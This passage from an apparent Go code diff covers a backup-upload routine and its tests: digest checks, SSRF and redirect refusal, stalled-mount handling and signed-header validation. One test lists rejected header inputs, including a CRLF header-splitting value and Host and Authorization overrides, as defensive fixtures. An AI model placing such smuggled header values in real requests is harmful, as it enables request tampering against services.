return
|
||||
}
|
||||
if err != nil || !os.SameFile(before, fi) {
|
||||
finish("failed", "the file changed while it was being opened")
|
||||
return
|
||||
}
|
||||
backupJobsMu.Lock()
|
||||
job.Bytes = fi.Size()
|
||||
backupJobsMu.Unlock()
|
||||
file := watchedFile{f, w, read}
|
||||
// The digest the host named, checked before anything is sent: from the
|
||||
// cache when this exact file (size and modification time) was hashed
|
||||
// already, else read once here.
|
||||
sum := cachedHash(abs, fi)
|
||||
if sum == "" {
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, file); err != nil {
|
||||
finish("failed", err.Error())
|
||||
return
|
||||
}
|
||||
sum = hex.EncodeToString(h.Sum(nil))
|
||||
noteHash(abs, fi, sum)
|
||||
if e := w.do(func() { _, err = f.Seek(0, io.SeekStart) }); e != nil {
|
||||
err = e
|
||||
}
|
||||
if err != nil {
|
||||
finish("failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
if sum != job.SHA256 {
|
||||
finish("failed", "the file at that path is not the one named (sha256 differs)")
|
||||
return
|
||||
}
|
||||
// The bytes sent are hashed again as they go. If the file changed after
|
||||
// the check, the job says so rather than done.
|
||||
h := sha256.New()
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPut, rawURL, io.TeeReader(io.LimitReader(file, fi.Size()), h))
|
||||
if err != nil {
|
||||
finish("failed", err.Error())
|
||||
return
|
||||
}
|
||||
for k, vs := range job.headers {
|
||||
req.Header[k] = append([]string(nil), vs...)
|
||||
}
|
||||
req.ContentLength = fi.Size()
|
||||
dialer := &net.Dialer{Timeout: 30 * time.Second, Control: func(network, address string, _ syscall.RawConn) error {
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ip := net.ParseIP(host); ip == nil || !backupDialAllowed(ip) {
|
||||
return fmt.Errorf("refused: %s is on this machine or this network — a backup destination must be a public address", host)
|
||||
}
|
||||
return nil
|
||||
}}
|
||||
transport := http.DefaultTransport.(*http.Transport).Clone()
|
||||
transport.DialContext = dialer.DialContext
|
||||
transport.Proxy = nil
|
||||
client := &http.Client{Transport: transport,
|
||||
// A signed upload URL does not redirect; following one would send the
|
||||
// backup somewhere the host did not name.
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
finish("failed", err.Error())
|
||||
return
|
||||
}
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusPreconditionFailed {
|
||||
finish("failed", "the destination already holds an object there (HTTP 412); nothing was replaced")
|
||||
return
|
||||
}
|
||||
if resp.StatusCode < 200 || resp.StatusCode > 299 {
|
||||
finish("failed", fmt.Sprintf("the destination answered HTTP %d", resp.StatusCode))
|
||||
return
|
||||
}
|
||||
if hex.EncodeToString(h.Sum(nil)) != job.SHA256 {
|
||||
finish("failed", "the file changed while it was being sent; what arrived is not the backup named")
|
||||
return
|
||||
}
|
||||
finish("done", "")
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package main
|
||||
|
||||
// Gate: a push whose file stops answering (a network mount that died while
|
||||
// the job reads it) does not stay pending: a read of the file that does not
|
||||
// return within the bound fails the job with a sentence, whether it is stuck
|
||||
// checking the digest or sending.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// deadMountReads makes every read of a pushed file block until the test ends,
|
||||
// then fail, as a read of a mount that went away does.
|
||||
func deadMountReads(t *testing.T) {
|
||||
t.Helper()
|
||||
gate := make(chan struct{})
|
||||
var once sync.Once
|
||||
backupPushHookMu.Lock()
|
||||
prev := backupPushRead
|
||||
backupPushRead = func(f *os.File, p []byte) (int, error) {
|
||||
<-gate
|
||||
return 0, errors.New("the mount went away")
|
||||
}
|
||||
backupPushHookMu.Unlock()
|
||||
t.Cleanup(func() {
|
||||
once.Do(func() { close(gate) })
|
||||
backupPushHookMu.Lock()
|
||||
backupPushRead = prev
|
||||
backupPushHookMu.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
func TestAPushFromAFolderThatStopsAnsweringFails(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
backupPushHookMu.Lock()
|
||||
prevStall := backupPushFileStall
|
||||
backupPushFileStall = 200 * time.Millisecond
|
||||
backupPushHookMu.Unlock()
|
||||
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prevStall; backupPushHookMu.Unlock() })
|
||||
|
||||
for _, phase := range []string{"checking the digest", "sending"} {
|
||||
t.Run(phase, func(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
_, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
abs := filepath.Join(root, fixtureData)
|
||||
if phase == "sending" {
|
||||
// The digest is known, so the first read is the upload's.
|
||||
fi, err := os.Lstat(abs)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
noteHash(abs, fi, sum)
|
||||
}
|
||||
srv, _, _ := uploadServer(t, 200)
|
||||
deadMountReads(t)
|
||||
job := pushJob(root, sum)
|
||||
done := make(chan struct{})
|
||||
go func() { runBackupPush(job, srv.URL+"/put", abs); close(done) }()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("a push whose file stopped answering is still running")
|
||||
}
|
||||
backupJobsMu.Lock()
|
||||
state, msg := job.State, job.Error
|
||||
backupJobsMu.Unlock()
|
||||
if state != "failed" || !strings.Contains(msg, "stopped answering") {
|
||||
t.Fatalf("the job reads %s %q", state, msg)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package main
|
||||
|
||||
// Gate: the headers an upload URL was signed with go on the PUT. The
|
||||
// platform's backup.put_url signs If-None-Match: * into every single-PUT URL
|
||||
// and returns it under
|
||||
// `headers`; the storage answers 403 to a PUT without it and 412 to a second
|
||||
// PUT to the same key. The test server below answers the same way.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// s3LikeServer answers a PUT as a presigned S3 PUT signed with
|
||||
// If-None-Match: * does: 403 without the header, 412 when the key is there,
|
||||
// else 200 and the key is written.
|
||||
func s3LikeServer(t *testing.T) (*httptest.Server, map[string][]byte) {
|
||||
t.Helper()
|
||||
var mu sync.Mutex
|
||||
stored := map[string][]byte{}
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
if r.Method != http.MethodPut || r.Header.Get("If-None-Match") != "*" {
|
||||
w.WriteHeader(http.StatusForbidden) // SignatureDoesNotMatch
|
||||
return
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if _, ok := stored[r.URL.Path]; ok {
|
||||
w.WriteHeader(http.StatusPreconditionFailed)
|
||||
return
|
||||
}
|
||||
stored[r.URL.Path] = body
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
old := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
t.Cleanup(func() { http.DefaultTransport = old })
|
||||
return srv, stored
|
||||
}
|
||||
|
||||
// The platform's reply, as backup.put_url returns it.
|
||||
const putURLReply = `{"url": "https://x/put", "key": "k", "expires_at": "t", "size": 8, "headers": {"If-None-Match": "*"}}`
|
||||
|
||||
func TestBackupPushSendsTheSignedHeaders(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := []byte("a backup")
|
||||
_, sum := pushFixture(t, root, body)
|
||||
srv, stored := s3LikeServer(t)
|
||||
var reply struct {
|
||||
Headers map[string]string `json:"headers"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(putURLReply), &reply); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
abs := filepath.Join(root, fixtureData)
|
||||
|
||||
// Without the headers the storage refuses the PUT: the old behaviour.
|
||||
bare := pushJob(root, sum)
|
||||
runBackupPush(bare, srv.URL+"/b", abs)
|
||||
if bare.State != "failed" || !strings.Contains(bare.Error, "403") {
|
||||
t.Fatalf("a PUT without the signed header: %s %s", bare.State, bare.Error)
|
||||
}
|
||||
|
||||
h, err := backupPushHeaders(reply.Headers)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
job := pushJob(root, sum)
|
||||
job.headers = h
|
||||
runBackupPush(job, srv.URL+"/s/obj", abs)
|
||||
if job.State != "done" || string(stored["/s/obj"]) != string(body) {
|
||||
t.Fatalf("with the signed header: %s %s", job.State, job.Error)
|
||||
}
|
||||
// A second PUT to the same key is refused by the storage, and the job says so.
|
||||
again := pushJob(root, sum)
|
||||
again.headers = h
|
||||
runBackupPush(again, srv.URL+"/s/obj", abs)
|
||||
if again.State != "failed" || !strings.Contains(again.Error, "412") || !strings.Contains(again.Error, "nothing was replaced") {
|
||||
t.Fatalf("a second PUT: %s %s", again.State, again.Error)
|
||||
}
|
||||
}
|
||||
|
||||
// Through the management lane: start keeps the one header the platform signs
|
||||
// (If-None-Match: *) for the job, and refuses every other header name, and
|
||||
// any other value for that one, before a job starts.
|
||||
func TestBackupPushStartTakesTheHeaders(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte("a backup"))
|
||||
start := func(h map[string]string) (string, string, int) {
|
||||
return driveBackupOp(t, "backup_push", "", root,
|
||||
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: sum, Headers: h})
|
||||
}
|
||||
jobHeaders := func(out string) http.Header {
|
||||
var started map[string]string
|
||||
_ = json.Unmarshal([]byte(out), &started)
|
||||
backupJobsMu.Lock()
|
||||
defer backupJobsMu.Unlock()
|
||||
if j := backupPushJobs[started["job_id"]]; j != nil {
|
||||
return j.headers.Clone()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
for name, h := range map[string]map[string]string{
|
||||
"as put_url returns it": {"If-None-Match": "*"},
|
||||
"the name in lower case": {"if-none-match": "*"},
|
||||
} {
|
||||
out, errOut, code := start(h)
|
||||
if code != 0 {
|
||||
t.Fatalf("%s: start refused the signed header: %s", name, errOut)
|
||||
}
|
||||
if got := jobHeaders(out); len(got) != 1 || got.Get("If-None-Match") != "*" {
|
||||
t.Fatalf("%s: the job carries %v", name, got)
|
||||
}
|
||||
}
|
||||
// No headers at all is refused too: the platform always signs
|
||||
// If-None-Match: * into the URL and hands it over, so a start without it
|
||||
// comes from a broken or tampered host. The refusal says so in a sentence.
|
||||
for name, h := range map[string]map[string]string{
|
||||
"no headers": nil,
|
||||
"an empty header set": {},
|
||||
} {
|
||||
out, errOut, code := start(h)
|
||||
if code == 0 {
|
||||
t.Errorf("%s: accepted (%s)", name, out)
|
||||
continue
|
||||
}
|
||||
if !strings.Contains(errOut, "backup_push: no headers came with the upload address") {
|
||||
t.Errorf("%s: refused without saying why: %s", name, errOut)
|
||||
}
|
||||
}
|
||||
for name, h := range map[string]map[string]string{
|
||||
"an unexpected header": {"X-Amz-Meta-Note": "hello"},
|
||||
"an unexpected header as well": {"If-None-Match": "*", "Authorization": "Bearer x"},
|
||||
"another If-None-Match value": {"If-None-Match": `"etag"`},
|
||||
"a padded value": {"If-None-Match": " *"},
|
||||
"an empty value": {"If-None-Match": ""},
|
||||
"If-Match": {"If-Match": "*"},
|
||||
"Host": {"host": "elsewhere.example"},
|
||||
"Content-Length": {"Content-Length": "1"},
|
||||
"Transfer-Encoding": {"Transfer-Encoding": "chunked"},
|
||||
"Connection": {"Connection": "close"},
|
||||
"a split line": {"If-None-Match": "*\r\nX-Evil: 1"},
|
||||
"a bad name": {"If None Match": "*"},
|
||||
"an empty name": {"": "*"},
|
||||
"a long name": {strings.Repeat("X", 4096): "*"},
|
||||
} {
|
||||
_, errOut, code := start(h)
|
||||
if code == 0 || !strings.Contains(errOut, "backup_push:") {
|
||||
t.Errorf("%s: accepted (%s)", name, errOut)
|
||||
}
|
||||
if len(errOut) > 400 {
|
||||
t.Errorf("%s: the refusal quotes %d bytes", name, len(errOut))
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,344 @@
|
||||
package main
|
||||
|
||||
// Gate: a push whose file stops answering leaves behind at most one stuck
|
||||
// read per folder, and at most backupReadsMax on the whole bastion,
|
||||
// however often a host starts a push there. A start in a folder whose read
|
||||
// has not returned is refused with a sentence; when the read returns the
|
||||
// folder is read again. A push that waits for a slot fails on that wait with
|
||||
// a sentence naming what it waited on, never one blaming its own folder.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// stuckReads makes every read of a pushed file block until release, and
|
||||
// counts the reads blocked at any moment: each one is a goroutine (and, on a
|
||||
// real mount, an OS thread) that cannot be stopped.
|
||||
type stuckReads struct {
|
||||
gate chan struct{}
|
||||
once sync.Once
|
||||
blocked atomic.Int64
|
||||
prev func(*os.File, []byte) (int, error)
|
||||
}
|
||||
|
||||
// newStuckReads blocks the reads of files in dirs, or of every file when no
|
||||
// folder is named; the others read as usual.
|
||||
func newStuckReads(t *testing.T, dirs ...string) *stuckReads {
|
||||
t.Helper()
|
||||
s := &stuckReads{gate: make(chan struct{})}
|
||||
dead := map[string]bool{}
|
||||
for _, d := range dirs {
|
||||
dead[d] = true
|
||||
}
|
||||
backupPushHookMu.Lock()
|
||||
s.prev = backupPushRead
|
||||
prev := s.prev
|
||||
backupPushRead = func(f *os.File, p []byte) (int, error) {
|
||||
if len(dead) > 0 && !dead[filepath.Dir(f.Name())] {
|
||||
return prev(f, p)
|
||||
}
|
||||
s.blocked.Add(1)
|
||||
defer s.blocked.Add(-1)
|
||||
<-s.gate
|
||||
return 0, errors.New("the mount went away")
|
||||
}
|
||||
backupPushHookMu.Unlock()
|
||||
t.Cleanup(s.release)
|
||||
return s
|
||||
}
|
||||
|
||||
// release lets the blocked reads return, and the file answers again.
|
||||
func (s *stuckReads) release() {
|
||||
s.once.Do(func() {
|
||||
backupPushHookMu.Lock()
|
||||
backupPushRead = s.prev
|
||||
backupPushHookMu.Unlock()
|
||||
close(s.gate)
|
||||
})
|
||||
}
|
||||
|
||||
func shortPushStall(t *testing.T) {
|
||||
t.Helper()
|
||||
backupPushHookMu.Lock()
|
||||
prev := backupPushFileStall
|
||||
backupPushFileStall = 200 * time.Millisecond
|
||||
backupPushHookMu.Unlock()
|
||||
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prev; backupPushHookMu.Unlock() })
|
||||
}
|
||||
|
||||
// pushSlotsIdle waits for reads left blocked by an earlier test to return.
|
||||
func pushSlotsIdle(t *testing.T) {
|
||||
t.Helper()
|
||||
eventually(t, "the push slots of an earlier test are freed", func() bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return len(backupReads) == 0
|
||||
})
|
||||
}
|
||||
|
||||
func eventually(t *testing.T, what string, ok func() bool) {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for !ok() {
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("never: %s", what)
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// fdsOn counts this process's open descriptors on path, or -1 where the
|
||||
// system does not list them.
|
||||
func fdsOn(path string) int {
|
||||
dir := "/proc/self/fd"
|
||||
if _, err := os.Stat(dir); err != nil {
|
||||
dir = "/dev/fd"
|
||||
}
|
||||
ents, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return -1
|
||||
}
|
||||
want, err := filepath.EvalSymlinks(path)
|
||||
if err != nil {
|
||||
return -1
|
||||
}
|
||||
n := 0
|
||||
for _, e := range ents {
|
||||
if l, err := os.Readlink(filepath.Join(dir, e.Name())); err == nil && l == want {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func startPush(t *testing.T, root, rel, sum string) (string, string, int) {
|
||||
t.Helper()
|
||||
return driveBackupOp(t, "backup_push", "", root,
|
||||
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: sum, Headers: signedPut})
|
||||
}
|
||||
|
||||
// pushStarted starts a push and returns its job id.
|
||||
func pushStarted(t *testing.T, root, rel, sum string) string {
|
||||
t.Helper()
|
||||
out, errOut, code := startPush(t, root, rel, sum)
|
||||
if code != 0 {
|
||||
t.Fatalf("start refused: %s", errOut)
|
||||
}
|
||||
var st map[string]string
|
||||
if err := json.Unmarshal([]byte(out), &st); err != nil || st["job_id"] == "" {
|
||||
t.Fatalf("start reply: %s", out)
|
||||
}
|
||||
return st["job_id"]
|
||||
}
|
||||
|
||||
func mustFailStuck(t *testing.T, root, id string) {
|
||||
t.Helper()
|
||||
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "stopped answering") {
|
||||
t.Fatalf("a push whose file stopped answering reads %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
// failures waits for each push to fail and counts the ones whose own read
|
||||
// stopped answering and the ones that failed waiting, with a sentence that
|
||||
// holds want, for a slot to read. Any other outcome fails the test.
|
||||
func failures(t *testing.T, want string, pushes ...[2]string) (stuck, waited int) {
|
||||
t.Helper()
|
||||
for _, p := range pushes {
|
||||
st := awaitPush(t, p[0], p[1])
|
||||
switch {
|
||||
case st["state"] == "failed" && strings.Contains(st["error"], "stopped answering"):
|
||||
stuck++
|
||||
case st["state"] == "failed" && strings.Contains(st["error"], "this push waited more than") &&
|
||||
strings.Contains(st["error"], want):
|
||||
waited++
|
||||
default:
|
||||
t.Fatalf("a push from a dead folder reads %v", st)
|
||||
}
|
||||
}
|
||||
return stuck, waited
|
||||
}
|
||||
|
||||
// capReads lowers backupReadsMax to n for the test.
|
||||
func capReads(t *testing.T, n int) {
|
||||
t.Helper()
|
||||
backupReadMu.Lock()
|
||||
prev := backupReadsMax
|
||||
backupReadsMax = n
|
||||
backupReadMu.Unlock()
|
||||
t.Cleanup(func() { backupReadMu.Lock(); backupReadsMax = prev; backupReadMu.Unlock() })
|
||||
}
|
||||
|
||||
func TestRepeatedPushesFromADeadFolderHoldOneRead(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
pushSlotsIdle(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
abs := filepath.Join(root, fixtureData)
|
||||
s := newStuckReads(t)
|
||||
|
||||
// Two starts back to back, before either is known to be stuck: one read
|
||||
// blocks, the other push waits for the folder and fails at the same
|
||||
// bound without a read of its own, saying the folder has not answered.
|
||||
a := pushStarted(t, root, rel, sum)
|
||||
b := pushStarted(t, root, rel, sum)
|
||||
if stuck, waited := failures(t, "the folder of "+rel+" has not answered an earlier push",
|
||||
[2]string{root, a}, [2]string{root, b}); stuck != 1 || waited != 1 {
|
||||
t.Fatalf("%d pushes failed on their own read and %d waiting for the folder; want 1 and 1", stuck, waited)
|
||||
}
|
||||
eventually(t, "one read is left blocked and one descriptor open", func() bool {
|
||||
f := fdsOn(abs)
|
||||
return s.blocked.Load() == 1 && (f == -1 || f == 1)
|
||||
})
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
g0, f0 := runtime.NumGoroutine(), fdsOn(abs)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
out, errOut, code := startPush(t, root, rel, sum)
|
||||
if code == 0 {
|
||||
t.Fatalf("start %d in a folder whose read has not returned was accepted: %s", i, out)
|
||||
}
|
||||
if !strings.Contains(errOut, "backup_push: the folder of "+rel+" has not answered an earlier push") ||
|
||||
!strings.Contains(errOut, "nothing more is sent from that folder until it answers") {
|
||||
t.Fatalf("start %d refused without the sentence: %s", i, errOut)
|
||||
}
|
||||
}
|
||||
eventually(t, "the refused starts leave no goroutine behind", func() bool {
|
||||
return runtime.NumGoroutine() <= g0+3
|
||||
})
|
||||
if n := s.blocked.Load(); n != 1 {
|
||||
t.Fatalf("%d reads are blocked on the dead folder after repeated starts; want 1", n)
|
||||
}
|
||||
if f := fdsOn(abs); f != f0 {
|
||||
t.Fatalf("%d descriptors are open on the file after repeated starts; was %d", f, f0)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPushFolderIsReadAgainWhenItsReadReturns(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
pushSlotsIdle(t)
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
s := newStuckReads(t)
|
||||
mustFailStuck(t, root, pushStarted(t, root, rel, sum))
|
||||
if _, errOut, code := startPush(t, root, rel, sum); code == 0 || !strings.Contains(errOut, "has not answered an earlier push") {
|
||||
t.Fatalf("a start while the read is stuck: %d %s", code, errOut)
|
||||
}
|
||||
|
||||
s.release()
|
||||
eventually(t, "the returned read frees its folder", func() bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return len(backupReads) == 0
|
||||
})
|
||||
// Read to the end this time: a digest that is not the file's fails on
|
||||
// the comparison, which only a full read reaches.
|
||||
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("the folder was not read again once its read returned: %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStuckPushReadsAreCappedPerBastion(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
shortPushStall(t)
|
||||
pushSlotsIdle(t)
|
||||
capReads(t, 2)
|
||||
|
||||
type folder struct{ root, rel, sum string }
|
||||
var fs []folder
|
||||
for i := 0; i < 4; i++ {
|
||||
root := t.TempDir()
|
||||
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
|
||||
fs = append(fs, folder{root, rel, sum})
|
||||
}
|
||||
s := newStuckReads(t)
|
||||
|
||||
// Three dead folders started at once: two reads block, the third push
|
||||
// waits for a slot and fails at the bound without a read of its own,
|
||||
// saying the cap is held.
|
||||
var ps [][2]string
|
||||
for _, f := range fs[:3] {
|
||||
ps = append(ps, [2]string{f.root, pushStarted(t, f.root, f.rel, f.sum)})
|
||||
}
|
||||
if stuck, waited := failures(t, "2 reads of backup folders have not returned", ps...); stuck != 2 || waited != 1 {
|
||||
t.Fatalf("%d pushes failed on their own read and %d waiting for a slot; want 2 and 1", stuck, waited)
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
if n := s.blocked.Load(); n != 2 {
|
||||
t.Fatalf("%d reads are blocked; the cap is 2", n)
|
||||
}
|
||||
|
||||
// A folder that answers is refused too while the cap is held.
|
||||
f := fs[3]
|
||||
_, errOut, code := startPush(t, f.root, f.rel, f.sum)
|
||||
if code == 0 || !strings.Contains(errOut, "backup_push: 2 reads of backup folders have not returned") ||
|
||||
!strings.Contains(errOut, "no push starts on this machine until one does") {
|
||||
t.Fatalf("a start with the cap held: %d %s", code, errOut)
|
||||
}
|
||||
if n := s.blocked.Load(); n != 2 {
|
||||
t.Fatalf("%d reads are blocked after a refused start; want 2", n)
|
||||
}
|
||||
|
||||
s.release()
|
||||
eventually(t, "the returned reads free their slots", func() bool {
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
return len(backupReads) == 0
|
||||
})
|
||||
id := pushStarted(t, f.root, f.rel, strings.Repeat("ab", 32))
|
||||
if st := awaitPush(t, f.root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
|
||||
t.Fatalf("a push after the reads returned: %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
// A push already under way in a folder that answers, waiting for a slot while
|
||||
// other folders' reads hold the cap, fails with the sentence about those
|
||||
// folders, not one blaming its own: the wait is not a read of its file.
|
||||
func TestAPushWaitingForASlotIsNotBlamedOnItsOwnFolder(t *testing.T) {
|
||||
stubPublicDNS(t)
|
||||
pushSlotsIdle(t)
|
||||
// Long enough that the third start is taken before the two stuck reads
|
||||
// are past the bound, even on a loaded machine.
|
||||
backupPushHookMu.Lock()
|
||||
prevStall := backupPushFileStall
|
||||
backupPushFileStall = time.Second
|
||||
backupPushHookMu.Unlock()
|
||||
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prevStall; backupPushHookMu.Unlock() })
|
||||
capReads(t, 2)
|
||||
|
||||
dead1, dead2, healthy := t.TempDir(), t.TempDir(), t.TempDir()
|
||||
body := []byte(strings.Repeat("a backup ", 1000))
|
||||
rel, sum := pushFixture(t, dead1, body)
|
||||
pushFixture(t, dead2, body)
|
||||
pushFixture(t, healthy, body)
|
||||
s := newStuckReads(t, dead1, dead2)
|
||||
|
||||
a := pushStarted(t, dead1, rel, sum)
|
||||
b := pushStarted(t, dead2, rel, sum)
|
||||
eventually(t, "both dead folders hold a read", func() bool { return s.blocked.Load() == 2 })
|
||||
// Neither read is past the bound yet, so this start is taken; its first
|
||||
// operation waits for a slot.
|
||||
c := pushStarted(t, healthy, rel, sum)
|
||||
mustFailStuck(t, dead1, a)
|
||||
mustFailStuck(t, dead2, b)
|
||||
st := awaitPush(t, healthy, c)
|
||||
if st["state"] != "failed" || strings.Contains(st["error"], "stopped answering") ||
|
||||
!strings.Contains(st["error"], "this push waited more than 1s for a turn to read its file: "+
|
||||
"2 reads of backup folders have not returned") {
|
||||
t.Fatalf("a push from a folder that answers, waiting for a slot, reads %v", st)
|
||||
}
|
||||
if n := s.blocked.Load(); n != 2 {
|
||||
t.Fatalf("%d reads are blocked; the cap is 2", n)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,331 @@
|
||||
package main
|
||||
|
||||
// Gate: backup_push sends exactly the named backup file, from this pairing's
|
||||
// backup folder or a folder the person shared with it, to a signed upload
|
||||
// URL, and nothing else anywhere else. Start answers at once; the digest is
|
||||
// checked in the job, before anything is sent.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
const fixtureData = fixtureStamp + ".tar.zst.age"
|
||||
|
||||
func pushFixture(t *testing.T, root string, body []byte) (string, string) {
|
||||
t.Helper()
|
||||
if err := os.WriteFile(filepath.Join(root, fixtureData), body, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(body)
|
||||
return "./" + fixtureData, hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
func uploadServer(t *testing.T, status int) (*httptest.Server, *[]byte, *string) {
|
||||
t.Helper()
|
||||
var got []byte
|
||||
var method string
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
method = r.Method
|
||||
got, _ = io.ReadAll(r.Body)
|
||||
w.WriteHeader(status)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
old := http.DefaultTransport
|
||||
http.DefaultTransport = srv.Client().Transport
|
||||
t.Cleanup(func() { http.DefaultTransport = old })
|
||||
return srv, &got, &method
|
||||
}
|
||||
|
||||
func pushJob(root, sum string) *backupPushJob {
|
||||
return &backupPushJob{ID: "p", SHA256: sum, State: "pending", root: root}
|
||||
}
|
||||
|
||||
func TestBackupPushSendsExactlyTheNamedFile(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
body := []byte(strings.Repeat("ciphertext of a backup ", 4000))
|
||||
_, sum := pushFixture(t, root, body)
|
||||
srv, got, method := uploadServer(t, 200)
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/signed-put", filepath.Join(root, fixtureData))
|
||||
if job.State != "done" {
|
||||
t.Fatalf("state=%s error=%s", job.State, job.Error)
|
||||
}
|
||||
if *method != http.MethodPut || string(*got) != string(body) {
|
||||
t.Fatalf("the destination received %s of %d bytes, not the file", *method, len(*got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupPushFailsWhenTheDestinationRefuses(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
_, sum := pushFixture(t, root, []byte("a backup"))
|
||||
srv, _, _ := uploadServer(t, 403)
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/expired", filepath.Join(root, fixtureData))
|
||||
if job.State != "failed" || !strings.Contains(job.Error, "403") {
|
||||
t.Fatalf("a refused upload reads %s %q", job.State, job.Error)
|
||||
}
|
||||
}
|
||||
|
||||
// The digest is checked in the job before anything is sent.
|
||||
func TestBackupPushSendsNothingWhenTheFileIsNotTheOneNamed(t *testing.T) {
|
||||
allowLoopbackFetch(t)
|
||||
root := t.TempDir()
|
||||
_, sum := pushFixture(t, root, []byte("the backup that was named"))
|
||||
_ = os.WriteFile(filepath.Join(root, fixtureData), []byte("the backup that is there"), 0o600)
|
||||
srv, got, method := uploadServer(t, 200)
|
||||
job := pushJob(root, sum)
|
||||
runBackupPush(job, srv.URL+"/put", filepath.Join(root, fixtureData))
